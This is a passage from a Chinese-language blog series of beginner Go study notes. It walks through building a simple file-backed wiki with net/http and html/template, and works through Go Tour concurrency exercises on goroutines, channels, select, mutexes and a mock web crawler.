 http.Redirect(w, r, "/edit/"+title, http.StatusFound)
 return
 }

 renderTemplate(w, "view", p)
}

func editHandler(w http.ResponseWriter, r *http.Request) {
 title, err := getTitle(w, r)
 if err != nil {
 return
 }

 p, err := loadPage(title)
 if err != nil {
 p = &Page{Title: title}
 }

 renderTemplate(w, "edit", p)
}

func saveHandler(w http.ResponseWriter, r *http.Request) {
 title, err := getTitle(w, r)
 if err != nil {
 return
 }

 body := r.FormValue("body")
 p := &Page{
 Title: title,
 Body: []byte(body),
 }

 err = p.save()

 if err != nil {
 http.Error(w, err.Error(), http.StatusInternalServerError)
 }

 http.Redirect(w, r, "/view/"+title, http.StatusFound)
}

修改完之后，重新编译并运行程序，当访问非edit、view、save路由时，会出现异常错误提示

Go基础学习记录 - 编写Web应用程序 - 模板缓存

Fri, 01 Aug 2025 09:21:45 +0000

模板缓存

renderTemplate函数中的代码效率是比较低的，每次呈现页面时，renderTemplate都会调用ParseFiles。更好的处理方法是在程序初始化时调用ParseFiles一次，将所有模板解析为单个* Template。然后我们可以使用ExecuteTemplate方法呈现特定模板。

首先，我们创建一个名为templates的全局变量，并使用ParseFiles对其进行初始化。

var templates = template.Must(template.ParseFiles("template/edit.html", "template/view.html"))

函数template.Must是一个方便的包装器，当传递非零错误值时会发生异常，否则返回*模板不变。
如果模板无法加载，唯一明智的做法就是退出程序。
ParseFiles函数接受任意数量的用于标识模板文件的字符串参数，并将这些文件解析为以基本文件名命名的模板。
如果我们要为程序添加更多模板，我们会将它们的名称添加到ParseFiles调用的参数中。
然后我们修改renderTemplate函数以使用适当模板的名称调用templates.ExecuteTemplate方法：

func renderTemplate(w http.ResponseWriter, templateName string, p *Page) {
 fmt.Println(templates)
 err := templates.ExecuteTemplate(w, templateName+".html", p)

 if err != nil {
 http.Error(w, err.Error(), http.StatusInternalServerError)
 return
 }
}

请注意，模板名称是模板文件名，因此我们必须将".html"附加到tmpl参数。
尤其注意的是，templates在初始化的时候我是将模板放在了一个文件夹下面，但是在renderTemplate中使用的时候只要传递文件名就好了，对应的路径都不需要拼接。

Go基础学习记录 - 编写Web应用程序 - 错误处理

Fri, 01 Aug 2025 09:21:39 +0000

错误处理

前面的分享加了两个功能，一个是编辑功能，一个保存功能

在我们的程序中有几个地方其实是忽略了错误的处理。
这是不好的做法，尤其是因为这样的做法发生错误时，程序会出现意外行为。
更好的解决方案是处理错误并向用户返回错误消息。
这样，如果出现问题，服务器将完全按照我们想要的方式运行，并且可以通知用户。
首先，让我们处理renderTemplate中的错误：

func renderTemplate(w http.ResponseWriter, templateName string, p *Page) {
 t, err := template.ParseFiles("template/" + templateName + ".html")

 if err != nil {
 http.Error(w, err.Error(), http.StatusInternalServerError)
 return
 }

 err = t.Execute(w, p)
 if err != nil {
 http.Error(w, err.Error(), http.StatusInternalServerError)
 return
 }
}

http.Error函数发送指定的HTTP响应代码（在本例中为“内部服务器错误”）和错误消息。
将这个放在一个单独的功能中的决定已经取得了成效。
现在让我们修复saveHandler：

func saveHandler(w http.ResponseWriter, r *http.Request) {
 title := r.URL.Path[len("/save/"):]
 body := r.FormValue("body")
 p := &Page{
 Title: title,
 Body: []byte(body),
 }
 err := p.save()
 if err != nil {
 http.Error(w, err.Error(), http.StatusInternalServerError)
 }

 http.Redirect(w, r, "/view/"+title, http.StatusFound)
}

p.save()期间发生的任何错误都将报告给用户

Go基础学习记录 - 编写Web应用程序 - 添加编辑和保存功能（二）

Fri, 01 Aug 2025 09:21:36 +0000

添加编辑和保存功能

继续上篇文章【Go基础学习记录 - 编写Web应用程序 - 添加编辑和保存功能（一）】

如果将上篇文章的逻辑进行构建并运行，试图访问一个不存在的wiki，比如/view/APageThatDoesntExist，将看到包含HTML的空页面。
这是因为它忽略了loadPage的错误返回值，并继续尝试填写没有数据的模板。
相反，如果请求的页面不存在，它应该将客户端重定### 处理不存在的页面
修改下viewHandler来达到我们的需求，如下

func viewHandler(w http.ResponseWriter, r *http.Request) {
 title := r.URL.Path[len("/view/"):]
 p, err := loadPage(title)
 if err != nil {
 http.Redirect(w, r, "/edit/"+title, http.StatusFound)
 return
 }

 renderTemplate(w, "view", p)
}

http.Redirect函数将HTTP状态代码http.StatusFound（302）和Location头添加到HTTP响应中。
再次构建并运行程序，访问/view/APageThatDoesntExist，会跳转到/edit/APageThatDoesntExist。

保存页面功能

根据上篇文章的流程，我们来添加下saveHandler函数的处理逻辑，它将处理位于编辑页面上的表单的提交。
先在main中加入对应的逻辑，如下

func main() {
 http.HandleFunc("/view/", viewHandler)
 http.HandleFunc("/edit/", editHandler)
 http.HandleFunc("/save/", saveHandler)
 log.Fatal(http.ListenAndServe(":8090", nil))
}

saveHandler实现处理程序如下：

func saveHandler(w http.ResponseWriter, r *http.Request) {
 title := r.URL.Path[len("/save/"):]
 body := r.FormValue("body")
 p := &Page{
 Title: title,
 Body: []byte(body),
 }
 p.save()
 http.Redirect(w, r, "/view/"+title, http.StatusFound)
}

页面标题（在URL中提供）和表单的唯一字段Body存储在新页面中。
然后调用save()方法将数据写入文件，并将客户端重定向到/view/page。
FormValue返回的值是string类型。
我们必须将该值转换为[]byte，然后才能适应Page结构。
我们使用[]byte(body)来执行转换。

到这里整个的编辑和存储就都完成了，我们可以再次进行构建程序，然后启动

$ go build wiki.go
$ ./wiki

访问view/pageTitle，不存在则进行创建，通过表单提交进行保存，还可以继续修改并保存。

Go基础学习记录 - 编写Web应用程序 - 添加编辑和保存功能（一）

Fri, 01 Aug 2025 09:21:33 +0000

添加编辑和保存功能

如果我们做的web应该如上篇文章那样只是本地存储，会有很多bug等我们去修复，并且还不保证能顺畅的使用。
现在创建两个新的处理程序：一个名为editHandler，用于显示"编辑页面"表单，另一个名为saveHandler，用于保存通过表单输入的数据。
首先我们先来实现editHandler的处理逻辑，先在main中加入对应的逻辑，如下

func main() {
 http.HandleFunc("/view/", viewHandler)
 http.HandleFunc("/edit/", editHandler)
 log.Fatal(http.ListenAndServe(":8090", nil))
}

函数editHandler加载页面（或者，如果它不存在，则创建一个空的Page结构），并显示一个HTML表单。如下

func editHandler(w http.ResponseWriter, r *http.Request) {
 title := r.URL.Path[len("/edit/"):]
 p, err := loadPage(title)
 if err != nil {
 p = &Page{Title: title}
 }
 fmt.Fprintf(w, "<h1>Editing %s</h1>"+
 "<form action=\"/save/%s\" method=\"POST\">"+
 "<textarea name=\"body\">%s</textarea><br>"+
 "<input type=\"submit\" value=\"Save\">"+
 "</form>", p.Title, p.Title, p.Body)
}

这个函数可以正常工作，但所有硬编码的HTML都很难看。当然，还有更好的方法。如下

html/template包

html/template包是Go标准库的一部分。
我们可以使用html/template将HTML保存在一个单独的文件中，这样我们就可以在不修改底层Go代码的情况下更改编辑页面的布局。
首先，我们必须将html/template添加到导入列表中。我们也不会再使用fmt了，所以我们必须删除它。大快人心。

import (
 "fmt"
 "io/ioutil"
 "log"
 "net/http"
 "html/template" // 注意这里
)

让我们创建一个包含HTML表单的模板文件。打开一个名为edit.html的新文件，并添加以下行：

<html>
 <head>
 <title>Editing {{.Title}}</title>
 </head>

 <body>
 <h1>Editing {{.Title}}</h1>
 </body>

 <form action="/save/{{.Title}}" method="POST">
 <div>
 <textarea name="body" rows="20" cols="80">{{printf "%s" .Body}}</textarea>
 </div>
 <div>
 <input type="submit" value="Save">
 </div>
 </form>
</html>

修改editHandler以使用模板，而不是硬编码的HTML：

func editHandler(w http.ResponseWriter, r *http.Request) {
 title := r.URL.Path[len("/edit/"):]
 p, err := loadPage(title)
 if err != nil {
 p = &Page{Title: title}
 }

 t, _ := template.ParseFiles("template/edit.html")

 t.Execute(w, p)
}

函数template.ParseFiles将读取edit.html的内容并返回* template.Template。
方法t.Execute执行模板，将生成的HTML写入http.ResponseWriter。
.Title和.Body点标识符指的是p.Title和p.Body。
模板指令用双花括号括起来。
printf “％s” .Body指令是一个函数调用，它输出.Body作为字符串而不是字节流，与调用fmt.Printf相同。
html/template包有助于保证模板操作只生成安全且正确的HTML。
例如，它会自动转义任何大于符号（>），将其替换为＆gt;，以确保用户数据不会损坏表单HTML。
由于我们现在正在处理模板，让我们为viewHandler创建一个名为view.html的模板，内容如下：

<html>
 <head>
 <title>View {{.Title}}</title>
 </head>

 <body>
 <h1>{{.Title}}</h1>

 <p>[
 <a href="/edit/{{.Title}}">edit</a>]</p>

 <div>{{printf "%s" .Body}}</div>
 </body>
</html>

相应地修改viewHandler：

func viewHandler(w http.ResponseWriter, r *http.Request) {
 title := r.URL.Path[len("/view/"):]
 p, _ := loadPage(title) t, _ := template.ParseFiles("template/view.html")
 t.Execute(w, p)
}

请注意，我们在两个处理程序中使用了几乎完全相同的模板代码。
让我们通过将模板代码移动到它自己的函数来删除这个重复，创建如下函数

func renderTemplate(w http.ResponseWriter, templateName string, p *Page) {
 t, _ := template.ParseFiles("template/" + templateName + ".html")

 t.Execute(w, p)
}

并修改处理程序以使用该函数,如下：

func viewHandler(w http.ResponseWriter, r *http.Request) {
 title := r.URL.Path[len("/view/"):]
 p, _ := loadPage(title)
 renderTemplate(w, "view", p)
}

func editHandler(w http.ResponseWriter, r *http.Request) {
 title := r.URL.Path[len("/edit/"):]
 p, err := loadPage(title)
 if err != nil {
 p = &Page{Title: title}
 }

 renderTemplate(w, "edit", p)
}

可以再次构建和测试我们的程序。

Go基础学习记录 - 编写Web应用程序 - 使用net/http包来构建Web应用

Fri, 01 Aug 2025 09:21:26 +0000

使用net/http来构建Web应用

要使用net/http包，必须导入：

import (
 "fmt"
 "io/ioutil"
 "net/http" // 注意这里
)

让我们创建一个允许用户查看Wiki页面的处理程序viewHandler。它将处理前缀为"/view/“的URL。

func viewHandler(w http.ResponseWriter, r *http.Request) {
 title := r.URL.Path[len("/view/"):]
 p, _ := loadPage(title)
 fmt.Fprintf(w, "<h1>%s</h1><div>%s</div>", p.Title, p.Body)
}

再次注意，使用\_来忽略loadPage的错误返回值。
这样做是为了简单起见，通常被认为是不好的做法。
后面会讨论这个问题。
首先，此函数从r.URL.Path中提取页面标题，r.URL.Path是请求URL的路径组件。
使用[len("/view/”):]重新切片路径以删除请求路径的前导"/view/“组件。
这是因为路径总是以”/view/“开头，这不是页面标题的一部分。
然后，该函数加载页面数据，使用一串简单的HTML格式化页面，并将其写入w，即http.ResponseWriter。
要使用此处理程序，我们重写main函数以使用viewHandler初始化http以处理path /view/下的任何请求。

func main() {
 http.HandleFunc("/view/", viewHandler)
 log.Fatal(http.ListenAndServe(":8090", nil))
}

我们创建一些页面数据(作为test.txt)，编译我们的代码，并尝试提供维基页面。
在编辑器中打开test.txt文件，并在其中保存字符串"I Like Gowhich”（不带引号）。

$ go build wiki.go
$ ./wiki

运行此Web服务器后，访问 http://localhost:8090/view/test 应显示一个标题为"test"的页面，其中包含"I Like Gowhich"字样。
但是访问其他页面的时候，则程序会报错。这个问题我们后面慢慢解决

Go基础学习记录 - 编写Web应用程序 - net/http包使用简介

Fri, 01 Aug 2025 09:21:21 +0000

net/http包构建Web应用简介

下面是一个简单的Web服务器的完整工作示例：

package main

import (
 "fmt"
 "log"
 "net/http"
)

// 相应处理
func handler(w http.ResponseWriter, r *http.Request) {
 fmt.Fprintf(w, "=======> %s", r.URL.Path[1:])
}

func main() {
 // 路由处理 接收"/"后 交给handler处理
 http.HandleFunc("/", handler)
 // 启动服务
 log.Fatal(http.ListenAndServe(":8090", nil))
}

main函数以对http.HandleFunc的调用开始，它告诉http包使用处理程序处理对web根目录（"/"）的所有请求。
然后调用http.ListenAndServe，指定它应该在接口（":8090"）上侦听端口8090。(暂时不要担心它的第二个参数，nil)此函数将一直阻塞，直到程序终止。

ListenAndServe仅在发生意外错误时返回错误信息。为了记录该错误，我们使用log.Fatal包装函数调用。
handler函数的类型为http.HandlerFunc。它需要一个http.ResponseWriter和一个http.Request作为其参数。
http.ResponseWriter值组装HTTP服务器的响应;通过向它写入值，我们将数据发送到HTTP客户端。
http.Request是表示客户端HTTP请求的数据结构。
r.URL.Path是请求URL的路径组件。
尾部[1:]表示"从第1个字符到结尾创建路径的子片段"。
这会从路径名中删除前导"/"。
如果您运行此程序并访问URL：

http://localhost:8090/monkeys

该程序将显示一个页面，其中包含如下内容：

=======> monkeys

Go基础学习记录 - 编写Web应用程序 - 数据结构

Fri, 01 Aug 2025 09:21:15 +0000

编写Web应用的前提介绍

在编写一样的时候我们会经历下面几个部分

创建一个数据结构，并定义一个加载数据和存储数据的方法
使用net/http包来构建Web应用
使用html/template包处理HTML模板
使用正则regexp包来校验用户的输入
使用闭包closures

假设你已经掌握了如下知识:

已经有了编写程序的经验
了解web基础的web技术，包括(HTTP,HTML)
会一些UNIX/DOS命令行知识

应用程序搭建

需要使用FreeBSD，Linux，OS X或Windows机器来运行Go。如果还不会安装的话请转到(Go基础学习记录 - 安装)[https://www.xiaorongmao.com/blog/2]

在GOPATH中创建一个新目录并cd到目录中：

mkdir wiki
cd wiki

比如我的项目目录路径如下

/xxx/xxx/go/src/github.com/durban.zhang/wiki

创建一个名为wiki.go的文件，并用您喜欢的编辑器中打开它，并添加以下行：

package main

import (
 "fmt"
 "io/ioutil"
)

我们从Go标准库导入fmt和ioutil包。后面，当实现其他功能时，我们将向此导入声明添加更多包。

数据结构

首先从定义数据结构开始。wiki由一系列互连的页面组成，每个页面都有一个Title和一个Body（页面内容）。
在这里，我们将Page定义为一个结构，其中两个字段代表标题和正文。如下

type Page struct {
 Title string
 Body []byte
}

[]byte 表示"字节切片"。Body元素使用[]byte而不是字符串，是因为我们将使用的io库，它所期望的类型是[]byte。
Page结构描述了页面数据将如何存储在内存中。如果要将数据持久的进行存储的话，需要在Page上创建一个一个save方法来解决这个问题。如下

func (p *Page) save() error {
 filename := p.Title + ".txt"
 return ioutil.WriteFile(filename, p.Body, 0600)
}

这是一个名为save的方法，它将接收器p作为指向Page的指针。它不接受任何参数，并返回类型错误的值。

此方法将Page的Body保存为文本文件。为简单起见，将使用Title作为文件名。
save方法返回一个错误值，因为这是WriteFile的返回类型（一个将字节切片写入文件的标准库函数）。
save方法返回错误值，让应用程序在写入文件时出错。
如果一切顺利，Page.save（）将返回nil（指针，接口和其他类型的零值）。
作为WriteFile的第三个参数传递的八进制整数文字0600表示应该仅为当前用户创建具有读写权限的文件。除了保存页面，我们还想加载页面。方法如下：

func loadPage(title string) (*Page, error) {
 filename := title + ".txt"
 body, error := ioutil.ReadFile(filename)
 if error != nil {
 return nil, error
 }

 return &Page{Title: title, Body: body}, nil
}

函数loadPage从title参数构造文件名，将文件的内容读入新的变量体，并返回指向使用正确的标题和正文值构造的Page文本的指针。

此函数在调用者调用的时候可以通过检查第二个参数，如果是nil那么它已经成功加载了一个Page。如果不是，则调用者可以处理错误

此时，我们有一个简单的数据结构，能够保存到文件并从中加载。
还需要编写一个主函数来测试我们编写的内容，如下：

func main() {
 p1 := &Page{
 Title: "Test Title",
 Body: []byte("Test Body"),
 }
 p1.save()
 p2, _ := loadPage("Test Title")
 fmt.Println(string(p2.Body))
}

编译并执行此代码后，将创建一个名为TestPage.txt的文件，其中包含p1的内容。
然后将该文件读入struct p2，并将其Body元素打印到屏幕上。
可以像下面这样编译并运行

$go build wiki.go
$./wiki
Test Body

Go基础学习记录 - Go指南 - 并发系列之Web爬虫

Thu, 31 Jul 2025 10:27:06 +0000

环境

go version go1.10.1 darwin/amd64

Web爬虫

在这个实例练习中将会使用 Go 的并发特性来并行化一个 Web 爬虫。修改 Crawl 函数来并行地抓取 URL，并且保证不重复。提示：可以用一个 map 来缓存已经获取的 URL，但是要注意 map 本身并不是并发安全的！官方的给的实例演示如下

package main

import (
 "fmt"
)

type Fetcher interface {
 // Fetch 返回 URL 的 body 内容，并且将在这个页面上找到的 URL 放到一个 slice 中。
 Fetch(url string) (body string, urls []string, err error)
}

// Crawl 使用 fetcher 从某个 URL 开始递归的爬取页面，直到达到最大深度。
func Crawl(url string, depth int, fetcher Fetcher) {
 // TODO: 并行的抓取 URL。
 // TODO: 不重复抓取页面。
 // 下面并没有实现上面两种情况：
 if depth <= 0 {
 return
 }
 body, urls, err := fetcher.Fetch(url)
 if err != nil {
 fmt.Println(err)
 return
 }
 fmt.Printf("found: %s %q\n", url, body)
 for _, u := range urls {
 Crawl(u, depth-1, fetcher)
 }
 return
}

func main() {
 Crawl("http://golang.org/", 4, fetcher)
}

// fakeFetcher 是返回若干结果的 Fetcher。
type fakeFetcher map[string]*fakeResult

type fakeResult struct {
 body string
 urls []string
}

func (f fakeFetcher) Fetch(url string) (string, []string, error) {
 if res, ok := f[url]; ok {
 return res.body, res.urls, nil
 }
 return "", nil, fmt.Errorf("not found: %s", url)
}

// fetcher 是填充后的 fakeFetcher。
var fetcher = fakeFetcher{
 "http://golang.org/": &fakeResult{
 "The Go Programming Language",
 []string{
 "http://golang.org/pkg/",
 "http://golang.org/cmd/",
 },
 },
 "http://golang.org/pkg/": &fakeResult{
 "Packages",
 []string{
 "http://golang.org/",
 "http://golang.org/cmd/",
 "http://golang.org/pkg/fmt/",
 "http://golang.org/pkg/os/",
 },
 },
 "http://golang.org/pkg/fmt/": &fakeResult{
 "Package fmt",
 []string{
 "http://golang.org/",
 "http://golang.org/pkg/",
 },
 },
 "http://golang.org/pkg/os/": &fakeResult{
 "Package os",
 []string{
 "http://golang.org/",
 "http://golang.org/pkg/",
 },
 },
}

官方给的例子实际上并没有做抓取的操作这个，后面学习深入后跟大家分享，其实就是一个简单的，数组循环而已，但是模仿着写一下会增进自己对golang的掌握，下面是我自己模仿的

package main

import "fmt"

// FetcherResult 抓取结果
type FetcherResult struct {
 body string
 urls []string
}

// Fetcher 接口
type Fetcher interface {
 // 通过给定的url地址，返回抓取的body并返回body中的url地址
 Fetch(url string) (body string, urls []string, err error)
}

type runFetcher map[string]*FetcherResult

func (r runFetcher) Fetch(url string) (body string, urls []string, err error) {
 if res, ok := r[url]; ok {
 return res.body, res.urls, nil
 }

 return "", nil, fmt.Errorf("not found: %s", url)
}

// Crawl 抓取每个url地址
func Crawl(url string, depth int, fetcher Fetcher) {
 if depth < 0 {
 return
 }

 body, urls, err := fetcher.Fetch(url)

 if err != nil {
 fmt.Println(err)
 return
 }

 fmt.Printf("Found %s %q \n", url, body)

 for _, nurl := range urls {
 Crawl(nurl, depth, fetcher)
 }

 return
}

// 结果存储器
var fakeFecher = runFetcher{
 "https://baidu.com": &FetcherResult{
 "page1",
 []string{
 "https://baidu.com/page1",
 "https://baidu.com/page2",
 "https://baidu.com/page3",
 },
 },
 "https://baidu.com/page1": &FetcherResult{
 "page1",
 []string{
 "https://baidu.com/page1/11",
 },
 },
 "https://baidu.com/page2": &FetcherResult{
 "page2",
 []string{
 "https://baidu.com/page2/21",
 },
 },
 "https://baidu.com/page3": &FetcherResult{
 "page3",
 []string{
 "https://baidu.com/page31",
 },
 },
}

func main() {
 // 启动抓取某个网站，这里抓取百度
 Crawl("https://baidu.com", 2, fakeFecher)
}

开始的时候并没有看到这里

if res, ok := r[url]; ok {
 return res.body, res.urls, nil
}

这部分

r[url]

最后自己写完之后，突然醒悟原来就是数组里取值而已。
到这里基本上官网的基础教程也学习完毕了，光掌握知识是不够的，咱们还是要做一些实践加深下对golang的掌握，接下来我会以官方文档为参考做一个小的博客，已分享给大家，且为自己掌握golang做进一步深入学习。

Go基础学习记录 - Go指南 - 并发系列之sync.Mutex

Thu, 31 Jul 2025 10:27:01 +0000

环境

go version go1.10.1 darwin/amd64

sync.Mutex

上篇分享可以了解到Channels非常适合在各个goroutines进行通信。

但是如果我们并不需要通信呢？比如说，若我们只是想保证每次只有一个goroutines能够访问一个共享的变量，从而避免冲突

这里涉及的概念叫做互斥（mutual exclusion），我们通常使用互斥锁（Mutex）这一数据结构来提供这种机制。

Go 标准库中提供了 sync.Mutex 互斥锁类型及其两个方法：

Lock
Unlock

下面实现一个简单的实例演示，如下

package main

import (
 "fmt"
 "sync"
 "time"
)

// SafeCounter 的并发使用是安全的。
type SafeCounter struct {
 v map[string]int
 mux sync.Mutex
}

// Inc 增加给定 key 的计数器的值。
func (c *SafeCounter) Inc(key string) {
 c.mux.Lock()
 // Lock 之后同一时刻只有一个 goroutine 能访问 c.v
 c.v[key]++
 c.mux.Unlock()
}

// Value 返回给定 key 的计数器的当前值。
func (c *SafeCounter) Value(key string) int {
 c.mux.Lock()
 // Lock 之后同一时刻只有一个 goroutine 能访问 c.v
 defer c.mux.Unlock()
 return c.v[key]
}

func main() {
 c := SafeCounter{v: make(map[string]int)}
 for i := 0; i < 1000; i++ {
 go c.Inc("somekey")
 }

 time.Sleep(time.Second)
 fmt.Println(c.Value("somekey"))
}

我们可以通过在代码前调用 Lock 方法，在代码后调用 Unlock 方法来保证一段代码的互斥执行。如上面代码中的Inc方法。

我们也可以用 defer 语句来保证互斥锁一定会被解锁。如上面代码中的Value方法。

Go基础学习记录 - Go指南 - 并发系列之等价二叉树

Thu, 31 Jul 2025 10:26:58 +0000

环境

go version go1.10.1 darwin/amd64

等价二叉树

不同二叉树的叶节点上可以保存相同的值序列。例如，以下两个二叉树都保存了序列 1，1，2，3，5，8，13 。

在大多数语言中，检查两个二叉树是否保存了相同序列的函数都相当复杂。我们将使用 Go 的并发和信道来编写一个简单的解法。

本例使用跟官方一致的 tree 包，它定义了类型：

type Tree struct {
 Left *Tree
 Value int
 Right *Tree
}

现在我们要实现的内容下

实现 Walk 函数。
测试 Walk 函数。

函数 tree.New(k) 用于构造一个随机结构的二叉树，它保存了值 k 、 2k 、 3k … 10k 。

创建一个新的信道 ch 并且对其进行步进：

go Walk(tree.New(1), ch)

然后从信道中读取并打印 10 个值。应当是数字 1, 2, 3, ..., 10 。

用 Walk 实现 Same 函数来检测 t1 和 t2 是否存储了相同的值。
测试 Same 函数。

Same(tree.New(1), tree.New(1)) 应当返回 true。
Same(tree.New(1), tree.New(2)) 应当返回 false。

Tree的文档实现方式如下

package main

import (
 "fmt"
 "golang.org/x/tour/tree"
)

// Walk 步进 tree t 将所有的值从 tree 发送到 channel ch。
func Walk(t *tree.Tree, ch chan int) {
 walkTree(t, ch)
 close(ch)
}

func walkTree(t *tree.Tree, ch chan int) {
 if t != nil {
 walkTree(t.Left, ch)
 ch <- t.Value
 walkTree(t.Right, ch)
 }
}

// Same 检测树 t1 和 t2 是否含有相同的值。
func Same(t1, t2 *tree.Tree) bool {
 ch1 := make(chan int)
 ch2 := make(chan int)
 go Walk(t1, ch1)
 go Walk(t2, ch2)

 for i := range ch1 {
 if i != <-ch2 {
 return false
 }
 }

 return true
}

func main() {
 // 测试Walk
 ch := make(chan int, 10)
 go Walk(tree.New(1), ch)
 for i := range ch {
 fmt.Println(i)
 }

 fmt.Println(Same(tree.New(1), tree.New(1)))
 fmt.Println(Same(tree.New(1), tree.New(2)))
}

运行后结果如下

1
2
3
4
5
6
7
8
9
10
true
false

Go基础学习记录 - Go指南 - 并发系列之select语句

Thu, 31 Jul 2025 10:26:55 +0000

环境

go version go1.10.1 darwin/amd64

select语句

select 语句使一个goroutine可以等待多个通信操作。

select 会阻塞到某个分支可以继续执行为止，这时就会执行该分支。当多个分支都准备好时会随机选择一个执行。通过实例来演示下

package main

import "fmt"

func fibonacci(c, quit chan int) {
 x, y := 0, 1
 for {
 select {
 case c <- x:
 x, y = y, x+y
 case <-quit:
 fmt.Println("quit")
 return
 }
 }
}

func main() {
 c := make(chan int)
 quit := make(chan int)
 go func() {
 for i := 0; i < 10; i++ {
 fmt.Println(<-c)
 }
 quit <- 0
 }()
 fibonacci(c, quit)
}

执行后结果如下

Default Selection

当 select 中的其它分支都没有准备好时，default 分支就会执行。

为了在尝试发送或者接收时不发生阻塞，可使用 default 分支，使用方式如下

select {
case i := <-c:
 // 使用 i
default:
 // 从 c 中接收会阻塞时执行
}

示例演示如下

package main

import (
 "fmt"
 "time"
)

func main() {
 tick := time.Tick(100 * time.Millisecond)
 boom := time.After(500 * time.Millisecond)
 for {
 select {
 case <-tick:
 fmt.Println("tick.")
 case <-boom:
 fmt.Println("BOOM!")
 return
 default:
 fmt.Println(" .")
 time.Sleep(50 * time.Millisecond)
 }
 }
}

运行后结果类似如下

 .
 .
tick.
 .
 .
tick.
 .
 .
tick.
 .
 .
tick.
 .
 .
tick.
BOOM!

Go基础学习记录 - Go指南 - 并发系列之range 和 close

Thu, 31 Jul 2025 10:26:52 +0000

环境

go version go1.10.1 darwin/amd64

Range 和 Close

发送者可通过 close 关闭一个信道来表示没有需要发送的值了。接收者可以通过为接收表达式分配第二个参数来测试信道是否被关闭：若没有值可以接收且信道已被关闭，那么在执行完

v, ok := <-ch

之后 ok 会被设置为 false 。

循环

for i := range c

会不断从信道接收值，直到它被关闭。

注意：只有发送者才能关闭信道，而接收者不能。向一个已经关闭的信道发送数据会引发程序异常。还要注意：信道与文件不同，通常情况下无需关闭它们。只有在必须告诉接收者不再有值需要发送的时候才有必要关闭，例如终止一个 range 循环。实例演示如下

package main

import (
 "fmt"
)

func fibonacci(n int, c chan int) {
 x, y := 0, 1
 for i := 0; i < n; i++ {
 c <- x
 x, y = y, x+y
 }
 close(c)
}

func main() {
 c := make(chan int, 10)
 go fibonacci(cap(c), c)
 for i := range c {
 fmt.Println(i)
 }
}

运行后结果如下

Go基础学习记录 - Go指南 - 并发系列之Channels

Thu, 31 Jul 2025 10:26:43 +0000

环境

go version go1.10.1 darwin/amd64

Channels

信道是带有类型的管道，你可以通过它用信道操作符 <- 来发送或者接收值。

ch <- v // 将 v 发送至信道 ch。
v := <-ch // 从 ch 接收值并赋予 v。

(“箭头"就是数据流的方向。)

和映射与切片一样，信道在使用前必须创建：

ch := make(chan int)

默认情况下，发送和接收操作在另一端准备好之前都会阻塞。这使得goroutines可以在没有显式的锁或竞态变量的情况下进行同步。以下示例对切片中的数进行求和，将任务分配给两个goroutines。一旦两个goroutines完成了它们的计算，它就能算出最终的结果。

package main

import "fmt"

func sum(s []int, c chan int) {
 sum := 0
 for _, v := range s {

 sum += v
 }
 c <- sum // 将和送入 c
}

func main() {
 s := []int{7, 2, 8, -9, 4, 0}

 c := make(chan int)
 go sum(s[:len(s)/2], c)
 go sum(s[len(s)/2:], c)
 x, y := <-c, <-c // 从 c 中接收

 fmt.Println(x, y, x+y)
}

运行后结果如下

-5 17 12

带缓冲的Channels

Channels可以是带缓冲的，将缓冲长度作为第二个参数提供给 make 来初始化一个带缓冲的Channels：

ch := make(chan int, 100)

仅当Channels的缓冲区填满后，向其发送数据时才会阻塞。当缓冲区为空时，接受方会阻塞。修改示例填满缓冲区，然后看看会发生什么。
运行正常实例如下

package main

import "fmt"

func main() {
 ch := make(chan int, 2)
 ch <- 1
 ch <- 2
 fmt.Println(<-ch)
 fmt.Println(<-ch)
}

运行后得到如下

1
2

运行异常的实例如下

package main

import "fmt"

func main() {
 ch := make(chan int, 1)
 ch <- 1
 ch <- 2
 fmt.Println(<-ch)
 fmt.Println(<-ch)
}

运行后得到如下

fatal error: all goroutines are asleep - deadlock!

goroutine 1 [chan send]:
main.main()
 /xxx/xxx/go/src/github.com/xxx/example/example.go:8 +0x73
exit status 2

Go基础学习记录 - Go指南 - 并发系列之Goroutines

Thu, 31 Jul 2025 10:26:39 +0000

环境

go version go1.10.1 darwin/amd64

Goroutines

一个 goroutine 由 Go 运行时管理的轻量级线程.

go f(x, y, z)

启动一个新的goroutine并运行

f(x, y, z)

f，x，y和z的求值发生在当前的goroutine中，f的执行发生在新的goroutine中。

package main

import (
 "fmt"
 "time"
)

func say(s string) {
 for i := 0; i < 5; i++ {
 time.Sleep(100 * time.Millisecond)
 fmt.Println(s)
 }
}

func main() {
 go say("world")
 say("hello")
}

运行结果如下

world
hello
world
hello
world
hello
world
hello
world
hello

Goroutines在相同的地址空间中运行，因此在访问共享的内存时必须进行同步。sync 包提供了这种能力，不过在 Go 中并不经常用到，因为还有其它的办法。

Go基础学习记录 - Go指南 - 图像

Thu, 31 Jul 2025 10:26:33 +0000

环境

go version go1.10.1 darwin/amd64

图像

image 包定义了 Image 接口：

package image

type Image interface {
 ColorModel() color.Model
 Bounds() Rectangle
 At(x, y int) color.Color
}

注意： Bounds 方法的返回值 Rectangle 实际上是一个 image.Rectangle，它在 image 包中声明。

color.Color 和 color.Model 类型也是接口，但是通常因为直接使用预定义的实现 image.RGBA 和 image.RGBAModel 而被忽视了。这些接口和类型由image/color包定义。

下面看下具体该如何使用

package main

import (
 "fmt"
 "image"
)

func main() {
 m := image.NewRGBA(image.Rect(0, 0, 100, 100))
 fmt.Println(m.Bounds())
 fmt.Println(m.At(0, 0).RGBA())
}

练习：图像

还记得之前编写的图片生成器吗？我们再来编写另外一个，不过这次它将会返回一个 image.Image 的实现而非一个数据切片。

定义自己的 Image 类型，实现必要的方法并调用 pic.ShowImage 。

Bounds 应当返回一个 image.Rectangle ，例如 image.Rect(0, 0, w, h) 。
ColorModel 应当返回 color.RGBAModel 。
At 应当返回一个颜色。上一个图片生成器的值 v 对应 color.RGBA{v, v, 255, 255} 。

实例演示如下

package main

import "golang.org/x/tour/pic"
import "image"
import "image/color"

type Image struct{}

func (m Image) ColorModel() color.Model {
 return color.RGBAModel
}

func (m Image) Bounds() image.Rectangle {
 return image.Rect(0, 0, 50, 100)
}

func (m Image) At(x, y int) color.Color {
 return color.RGBA{200, 200, 255, 255}
}

func main() {
 m := Image{}
 pic.ShowImage(m)
}

运行后输出的结果如下

Go基础学习记录 - Go指南 - Reader

Thu, 31 Jul 2025 10:26:16 +0000

环境

go version go1.10.1 darwin/amd64

Reader

io 包指定了 io.Reader 接口，它表示从数据流的末尾进行读取。

Go 标准库包含了该接口的许多实现，包括文件、网络连接、压缩和加密等等。

io.Reader 接口有一个 Read 方法：

func (T) Read(b []byte) (n int, err error)

